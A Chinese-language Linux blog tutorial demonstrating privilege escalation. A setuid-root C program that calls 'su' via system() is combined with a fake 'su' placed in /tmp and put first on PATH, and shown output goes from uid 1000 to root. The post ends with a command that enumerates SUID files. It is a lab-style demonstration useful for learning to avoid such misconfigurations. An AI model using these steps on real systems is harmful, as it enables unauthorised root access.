Linux 使用环境变量曲向获取 root 权限
文章
林里克斯
实验平台:
CentOS Linux release 7.6.1810
1.编写一个 C
代码
# vim demo.c
#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("su - user");
}
2.生成文件(这里需要 root 权限)
# gcc demo.c -o switch
# chmod u+s switch
3.修改环境变量获取
$ echo "/bin/bash" > /tmp/su
$ chmod 777 /tmp/su
$ export PATH=/tmp:$PATH
$ echo $PATH
4.cp
方法获取
$ cp /bin/sh /tmp/su
$ export PATH=/tmp:$PATH
5.ln
软连获取
$ ln -s /bin/sh /tmp/su
$ export PATH=/tmp:$PATH
6.验证
$ id
uid=1000(test) gid=1000(test) groups=1000(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ sudo -i
[sudo] password for test:
test is not in the sudoers file. This incident will be reported.
$ ./switch
# id
uid=0(root) gid=0(root) groups=0(root),1000(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
7.查询所有的 s
权限位文件或权限位大于 4000
的
$ find / -perm -u=s -type f 2>/dev/null
Over~
版权协议须知!
本篇文章来源于 Uambiguous ,如本文章侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
1178 0 2020-12-08
博主卡片
运维时间
搭建这个平台,只为分享及记载自己所遇之事和难题。
现在时间 2024-12-28
今日天气
随机推荐
03-25
Nginx ./configure 参数详解
站点统计
- 文章总数:241篇
- 分类总数:29个
- 评论总数:12条
- 本站总访问量 353790 次
@xiaozi 最后的分享的镜像下载地址打不开 服务器没有开机吗?
@yuanyuan 为什么我的4b安装centos7.9 插上tf卡 显示不兼...
@Wong arrhenius 牛比
@MakerFace 厉害了!
@TongSir 老哥 更新下我的友链链接 https://blog.ton...